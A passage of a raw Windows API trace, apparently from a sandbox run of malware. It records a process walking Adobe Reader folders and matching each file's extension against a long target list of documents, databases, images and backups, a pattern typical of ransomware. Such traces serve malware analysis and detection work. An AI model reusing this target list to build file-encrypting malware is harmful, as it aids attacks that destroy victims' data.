cAlternateFileName="")) returned 1 [0272.910] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.TUR", cAlternateFileName="")) returned 1 [0272.910] lstrlenW (lpString="Flash.TUR") returned 9 [0272.910] lstrlenW (lpString=".1cd") returned 4 [0272.910] FindClose (in: hFindFile=0x6244c0 | out: hFindFile=0x6244c0) returned 1 [0272.911] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42b3fa0 | out: hHeap=0x590000) returned 1 [0272.911] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 1 [0272.911] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR") returned 75 [0272.911] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*", lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6244c0 [0272.911] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.911] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.UKR", cAlternateFileName="")) returned 1 [0272.912] lstrlenW (lpString="Flash.UKR") returned 9 [0272.912] lstrlenW (lpString=".1cd") returned 4 [0272.912] FindClose (in: hFindFile=0x6244c0 | out: hFindFile=0x6244c0) returned 1 [0272.912] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42b3fa0 | out: hHeap=0x590000) returned 1 [0272.912] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 0 [0272.912] FindClose (in: hFindFile=0x624400 | out: hFindFile=0x624400) returned 1 [0272.913] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42c3fa8 | out: hHeap=0x590000) returned 1 [0272.913] FindNextFileW (in: hFindFile=0x624440, lpFindFileData=0x37af094 | out: lpFindFileData=0x37af094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x174c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0272.913] lstrlenW (lpString="Multimedia.api") returned 14 [0272.913] lstrlenW (lpString=".1cd") returned 4 [0272.914] FindClose (in: hFindFile=0x624440 | out: hFindFile=0x624440) returned 1 [0272.914] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x590000) returned 1 [0272.915] FindNextFileW (in: hFindFile=0x624140, lpFindFileData=0x37af310 | out: lpFindFileData=0x37af310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0272.915] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned 58 [0272.916] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*", lpFindFileData=0x37af094 | out: lpFindFileData=0x37af094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624440 [0273.213] FindNextFileW (in: hFindFile=0x624440, lpFindFileData=0x37af094 | out: lpFindFileData=0x37af094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.213] FindNextFileW (in: hFindFile=0x624440, lpFindFileData=0x37af094 | out: lpFindFileData=0x37af094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc0c180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x86988, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1 [0273.213] lstrlenW (lpString="2d.x3d") returned 6 [0273.214] lstrlenW (lpString=".1cd") returned 4 [0273.214] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624400 [0274.033] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.033] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0274.033] lstrlenW (lpString="MyriadCAD.otf") returned 13 [0274.033] lstrlenW (lpString=".1cd") returned 4 [0276.337] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.337] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFM", cAlternateFileName="")) returned 1 [0276.337] lstrlenW (lpString="SY______.PFM") returned 12 [0276.338] lstrlenW (lpString=".1cd") returned 4 [0276.339] FindNextFileW (in: hFindFile=0x624440, lpFindFileData=0x37af094 | out: lpFindFileData=0x37af094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.339] FindNextFileW (in: hFindFile=0x624440, lpFindFileData=0x37af094 | out: lpFindFileData=0x37af094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageNames2", cAlternateFileName="LANGUA~1")) returned 1 [0276.339] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned 76 [0277.337] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.915] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar.txt", cAlternateFileName="DICAC9~1.TXT")) returned 1 [0278.915] lstrlenW (lpString="DisplayLanguageNames.ar.txt") returned 27 [0278.915] lstrlenW (lpString=".1cd") returned 4 [0278.916] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_AE.txt", cAlternateFileName="DI3495~1.TXT")) returned 1 [0278.916] lstrlenW (lpString="DisplayLanguageNames.ar_AE.txt") returned 30 [0278.916] lstrlenW (lpString=".1cd") returned 4 [0278.916] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0278.916] lstrlenW (lpString=".3ds") returned 4 [0278.916] lstrcmpiW (lpString1=".3ds", lpString2=".txt") returned -1 [0278.916] lstrlenW (lpString=".3fr") returned 4 [0278.916] lstrcmpiW (lpString1=".3fr", lpString2=".txt") returned -1 [0278.916] lstrlenW (lpString=".3g2") returned 4 [0278.917] lstrcmpiW (lpString1=".3g2", lpString2=".txt") returned -1 [0278.917] lstrlenW (lpString=".3gp") returned 4 [0278.917] lstrcmpiW (lpString1=".3gp", lpString2=".txt") returned -1 [0278.917] lstrlenW (lpString=".7z") returned 3 [0278.917] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0278.917] lstrlenW (lpString=".accda") returned 6 [0278.917] lstrcmpiW (lpString1=".accda", lpString2="AE.txt") returned -1 [0278.917] lstrlenW (lpString=".accdb") returned 6 [0278.917] lstrcmpiW (lpString1=".accdb", lpString2="AE.txt") returned -1 [0278.917] lstrlenW (lpString=".accdc") returned 6 [0278.917] lstrcmpiW (lpString1=".accdc", lpString2="AE.txt") returned -1 [0278.918] lstrlenW (lpString=".accde") returned 6 [0278.918] lstrcmpiW (lpString1=".accde", lpString2="AE.txt") returned -1 [0278.918] lstrlenW (lpString=".accdt") returned 6 [0278.918] lstrcmpiW (lpString1=".accdt", lpString2="AE.txt") returned -1 [0278.918] lstrlenW (lpString=".accdw") returned 6 [0278.918] lstrcmpiW (lpString1=".accdw", lpString2="AE.txt") returned -1 [0278.918] lstrlenW (lpString=".adb") returned 4 [0278.918] lstrcmpiW (lpString1=".adb", lpString2=".txt") returned -1 [0278.918] lstrlenW (lpString=".adp") returned 4 [0278.918] lstrcmpiW (lpString1=".adp", lpString2=".txt") returned -1 [0278.918] lstrlenW (lpString=".ai") returned 3 [0278.918] lstrcmpiW (lpString1=".ai", lpString2="txt") returned -1 [0278.918] lstrlenW (lpString=".ai3") returned 4 [0278.918] lstrcmpiW (lpString1=".ai3", lpString2=".txt") returned -1 [0278.919] lstrlenW (lpString=".ai4") returned 4 [0278.919] lstrcmpiW (lpString1=".ai4", lpString2=".txt") returned -1 [0278.919] lstrlenW (lpString=".ai5") returned 4 [0278.919] lstrcmpiW (lpString1=".ai5", lpString2=".txt") returned -1 [0278.919] lstrlenW (lpString=".ai6") returned 4 [0278.919] lstrcmpiW (lpString1=".ai6", lpString2=".txt") returned -1 [0278.919] lstrlenW (lpString=".ai7") returned 4 [0278.919] lstrcmpiW (lpString1=".ai7", lpString2=".txt") returned -1 [0278.919] lstrlenW (lpString=".ai8") returned 4 [0278.919] lstrcmpiW (lpString1=".ai8", lpString2=".txt") returned -1 [0278.919] lstrlenW (lpString=".anim") returned 5 [0278.919] lstrcmpiW (lpString1=".anim", lpString2="E.txt") returned -1 [0278.919] lstrlenW (lpString=".arw") returned 4 [0278.919] lstrcmpiW (lpString1=".arw", lpString2=".txt") returned -1 [0278.919] lstrlenW (lpString=".as") returned 3 [0278.919] lstrcmpiW (lpString1=".as", lpString2="txt") returned -1 [0278.920] lstrlenW (lpString=".asa") returned 4 [0278.920] lstrcmpiW (lpString1=".asa", lpString2=".txt") returned -1 [0278.920] lstrlenW (lpString=".asc") returned 4 [0278.920] lstrcmpiW (lpString1=".asc", lpString2=".txt") returned -1 [0278.920] lstrlenW (lpString=".ascx") returned 5 [0278.920] lstrcmpiW (lpString1=".ascx", lpString2="E.txt") returned -1 [0278.920] lstrlenW (lpString=".asm") returned 4 [0278.920] lstrcmpiW (lpString1=".asm", lpString2=".txt") returned -1 [0278.920] lstrlenW (lpString=".asmx") returned 5 [0278.920] lstrcmpiW (lpString1=".asmx", lpString2="E.txt") returned -1 [0278.920] lstrlenW (lpString=".asp") returned 4 [0278.920] lstrcmpiW (lpString1=".asp", lpString2=".txt") returned -1 [0278.920] lstrlenW (lpString=".aspx") returned 5 [0278.920] lstrcmpiW (lpString1=".aspx", lpString2="E.txt") returned -1 [0278.920] lstrlenW (lpString=".asr") returned 4 [0278.920] lstrcmpiW (lpString1=".asr", lpString2=".txt") returned -1 [0278.920] lstrlenW (lpString=".asx") returned 4 [0278.921] lstrcmpiW (lpString1=".asx", lpString2=".txt") returned -1 [0278.921] lstrlenW (lpString=".avi") returned 4 [0278.921] lstrcmpiW (lpString1=".avi", lpString2=".txt") returned -1 [0278.921] lstrlenW (lpString=".avs") returned 4 [0278.921] lstrcmpiW (lpString1=".avs", lpString2=".txt") returned -1 [0278.921] lstrlenW (lpString=".backup") returned 7 [0278.921] lstrcmpiW (lpString1=".backup", lpString2="_AE.txt") returned -1 [0278.921] lstrlenW (lpString=".bak") returned 4 [0278.921] lstrcmpiW (lpString1=".bak", lpString2=".txt") returned -1 [0278.921] lstrlenW (lpString=".bay") returned 4 [0278.921] lstrcmpiW (lpString1=".bay", lpString2=".txt") returned -1 [0278.921] lstrlenW (lpString=".bd") returned 3 [0278.921] lstrcmpiW (lpString1=".bd", lpString2="txt") returned -1 [0278.921] lstrlenW (lpString=".bin") returned 4 [0278.921] lstrcmpiW (lpString1=".bin", lpString2=".txt") returned -1 [0278.921] lstrlenW (lpString=".bmp") returned 4 [0278.922] lstrcmpiW (lpString1=".bmp", lpString2=".txt") returned -1 [0278.922] lstrlenW (lpString=".bz2") returned 4 [0278.922] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0278.922] lstrlenW (lpString=".c") returned 2 [0278.922] lstrcmpiW (lpString1=".c", lpString2="xt") returned -1 [0278.923] lstrlenW (lpString=".cdr") returned 4 [0278.923] lstrcmpiW (lpString1=".cdr", lpString2=".txt") returned -1 [0278.923] lstrlenW (lpString=".cer") returned 4 [0278.923] lstrcmpiW (lpString1=".cer", lpString2=".txt") returned -1 [0278.923] lstrlenW (lpString=".cf") returned 3 [0278.923] lstrcmpiW (lpString1=".cf", lpString2="txt") returned -1 [0278.923] lstrlenW (lpString=".cfc") returned 4 [0278.923] lstrcmpiW (lpString1=".cfc", lpString2=".txt") returned -1 [0278.923] lstrlenW (lpString=".cfm") returned 4 [0278.923] lstrcmpiW (lpString1=".cfm", lpString2=".txt") returned -1 [0278.923] lstrlenW (lpString=".cfml") returned 5 [0278.923] lstrcmpiW (lpString1=".cfml", lpString2="E.txt") returned -1 [0278.923] lstrlenW (lpString=".cfu") returned 4 [0278.923] lstrcmpiW (lpString1=".cfu", lpString2=".txt") returned -1 [0278.924] lstrlenW (lpString=".chm") returned 4 [0278.924] lstrcmpiW (lpString1=".chm", lpString2=".txt") returned -1 [0278.924] lstrlenW (lpString=".cin") returned 4 [0278.924] lstrcmpiW (lpString1=".cin", lpString2=".txt") returned -1 [0278.924] lstrlenW (lpString=".class") returned 6 [0278.924] lstrcmpiW (lpString1=".class", lpString2="AE.txt") returned -1 [0278.924] lstrlenW (lpString=".clx") returned 4 [0278.924] lstrcmpiW (lpString1=".clx", lpString2=".txt") returned -1 [0278.924] lstrlenW (lpString=".config") returned 7 [0278.924] lstrcmpiW (lpString1=".config", lpString2="_AE.txt") returned -1 [0278.924] lstrlenW (lpString=".cpp") returned 4 [0278.924] lstrcmpiW (lpString1=".cpp", lpString2=".txt") returned -1 [0278.925] lstrlenW (lpString=".cr2") returned 4 [0278.925] lstrcmpiW (lpString1=".cr2", lpString2=".txt") returned -1 [0278.925] lstrlenW (lpString=".crt") returned 4 [0278.925] lstrcmpiW (lpString1=".crt", lpString2=".txt") returned -1 [0278.925] lstrlenW (lpString=".crw") returned 4 [0278.925] lstrcmpiW (lpString1=".crw", lpString2=".txt") returned -1 [0278.925] lstrlenW (lpString=".cs") returned 3 [0278.925] lstrcmpiW (lpString1=".cs", lpString2="txt") returned -1 [0278.925] lstrlenW (lpString=".css") returned 4 [0278.925] lstrcmpiW (lpString1=".css", lpString2=".txt") returned -1 [0278.925] lstrlenW (lpString=".csv") returned 4 [0278.925] lstrcmpiW (lpString1=".csv", lpString2=".txt") returned -1 [0278.926] lstrlenW (lpString=".cub") returned 4 [0278.926] lstrcmpiW (lpString1=".cub", lpString2=".txt") returned -1 [0278.926] lstrlenW (lpString=".dae") returned 4 [0278.926] lstrcmpiW (lpString1=".dae", lpString2=".txt") returned -1 [0278.926] lstrlenW (lpString=".dat") returned 4 [0278.926] lstrcmpiW (lpString1=".dat", lpString2=".txt") returned -1 [0278.926] lstrlenW (lpString=".db") returned 3 [0278.926] lstrcmpiW (lpString1=".db", lpString2="txt") returned -1 [0278.926] lstrlenW (lpString=".dbf") returned 4 [0278.926] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0278.926] lstrlenW (lpString=".dbx") returned 4 [0278.926] lstrcmpiW (lpString1=".dbx", lpString2=".txt") returned -1 [0278.926] lstrlenW (lpString=".dc3") returned 4 [0278.927] lstrcmpiW (lpString1=".dc3", lpString2=".txt") returned -1 [0278.927] lstrlenW (lpString=".dcm") returned 4 [0278.927] lstrcmpiW (lpString1=".dcm", lpString2=".txt") returned -1 [0278.927] lstrlenW (lpString=".dcr") returned 4 [0278.927] lstrcmpiW (lpString1=".dcr", lpString2=".txt") returned -1 [0278.927] lstrlenW (lpString=".der") returned 4 [0278.927] lstrcmpiW (lpString1=".der", lpString2=".txt") returned -1 [0278.927] lstrlenW (lpString=".dib") returned 4 [0278.927] lstrcmpiW (lpString1=".dib", lpString2=".txt") returned -1 [0278.927] lstrlenW (lpString=".dic") returned 4 [0278.927] lstrcmpiW (lpString1=".dic", lpString2=".txt") returned -1 [0278.927] lstrlenW (lpString=".dif") returned 4 [0278.927] lstrcmpiW (lpString1=".dif", lpString2=".txt") returned -1 [0278.927] lstrlenW (lpString=".divx") returned 5 [0278.928] lstrcmpiW (lpString1=".divx", lpString2="E.txt") returned -1 [0278.928] lstrlenW (lpString=".djvu") returned 5 [0278.928] lstrcmpiW (lpString1=".djvu", lpString2="E.txt") returned -1 [0278.928] lstrlenW (lpString=".dng") returned 4 [0278.928] lstrcmpiW (lpString1=".dng", lpString2=".txt") returned -1 [0278.928] lstrlenW (lpString=".doc") returned 4 [0278.928] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0278.928] lstrlenW (lpString=".docm") returned 5 [0278.928] lstrcmpiW (lpString1=".docm", lpString2="E.txt") returned -1 [0278.928] lstrlenW (lpString=".docx") returned 5 [0278.928] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0278.928] lstrlenW (lpString=".dot") returned 4 [0278.928] lstrcmpiW (lpString1=".dot", lpString2=".txt") returned -1 [0278.928] lstrlenW (lpString=".dotm") returned 5 [0278.928] lstrcmpiW (lpString1=".dotm", lpString2="E.txt") returned -1 [0278.928] lstrlenW (lpString=".dotx") returned 5 [0278.929] lstrcmpiW (lpString1=".dotx", lpString2="E.txt") returned -1 [0278.929] lstrlenW (lpString=".dpx") returned 4 [0278.929] lstrcmpiW (lpString1=".dpx", lpString2=".txt") returned -1 [0278.929] lstrlenW (lpString=".dqy") returned 4 [0278.929] lstrcmpiW (lpString1=".dqy", lpString2=".txt") returned -1 [0278.929] lstrlenW (lpString=".dsn") returned 4 [0278.929] lstrcmpiW (lpString1=".dsn", lpString2=".txt") returned -1 [0278.929] lstrlenW (lpString=".dt") returned 3 [0278.929] lstrcmpiW (lpString1=".dt", lpString2="txt") returned -1 [0278.929] lstrlenW (lpString=".dtd") returned 4 [0278.929] lstrcmpiW (lpString1=".dtd", lpString2=".txt") returned -1 [0278.929] lstrlenW (lpString=".dwg") returned 4 [0278.929] lstrcmpiW (lpString1=".dwg", lpString2=".txt") returned -1 [0278.929] lstrlenW (lpString=".dwt") returned 4 [0278.930] lstrcmpiW (lpString1=".dwt", lpString2=".txt") returned -1 [0278.930] lstrlenW (lpString=".dx") returned 3 [0278.930] lstrcmpiW (lpString1=".dx", lpString2="txt") returned -1 [0278.930] lstrlenW (lpString=".dxf") returned 4 [0278.930] lstrcmpiW (lpString1=".dxf", lpString2=".txt") returned -1 [0278.930] lstrlenW (lpString=".edml") returned 5 [0278.930] lstrcmpiW (lpString1=".edml", lpString2="E.txt") returned -1 [0278.930] lstrlenW (lpString=".efd") returned 4 [0278.930] lstrcmpiW (lpString1=".efd", lpString2=".txt") returned -1 [0278.930] lstrlenW (lpString=".elf") returned 4 [0278.930] lstrcmpiW (lpString1=".elf", lpString2=".txt") returned -1 [0278.930] lstrlenW (lpString=".emf") returned 4 [0278.930] lstrcmpiW (lpString1=".emf", lpString2=".txt") returned -1 [0278.930] lstrlenW (lpString=".emz") returned 4 [0278.931] lstrcmpiW (lpString1=".emz", lpString2=".txt") returned -1 [0278.931] lstrlenW (lpString=".epf") returned 4 [0278.931] lstrcmpiW (lpString1=".epf", lpString2=".txt") returned -1 [0278.931] lstrlenW (lpString=".eps") returned 4 [0278.931] lstrcmpiW (lpString1=".eps", lpString2=".txt") returned -1 [0278.931] lstrlenW (lpString=".epsf") returned 5 [0278.931] lstrcmpiW (lpString1=".epsf", lpString2="E.txt") returned -1 [0278.931] lstrlenW (lpString=".epsp") returned 5 [0278.932] lstrcmpiW (lpString1=".epsp", lpString2="E.txt") returned -1 [0278.932] lstrlenW (lpString=".erf") returned 4 [0278.932] lstrcmpiW (lpString1=".erf", lpString2=".txt") returned -1 [0278.932] lstrlenW (lpString=".exr") returned 4 [0278.932] lstrcmpiW (lpString1=".exr", lpString2=".txt") returned -1 [0278.932] lstrlenW (lpString=".f4v") returned 4 [0278.932] lstrcmpiW (lpString1=".f4v", lpString2=".txt") returned -1 [0278.933] lstrlenW (lpString=".fido") returned 5 [0278.933] lstrcmpiW (lpString1=".fido", lpString2="E.txt") returned -1 [0278.933] lstrlenW (lpString=".flm") returned 4 [0278.933] lstrcmpiW (lpString1=".flm", lpString2=".txt") returned -1 [0278.933] lstrlenW (lpString=".flv") returned 4 [0278.933] lstrcmpiW (lpString1=".flv", lpString2=".txt") returned -1 [0278.933] lstrlenW (lpString=".frm") returned 4 [0278.933] 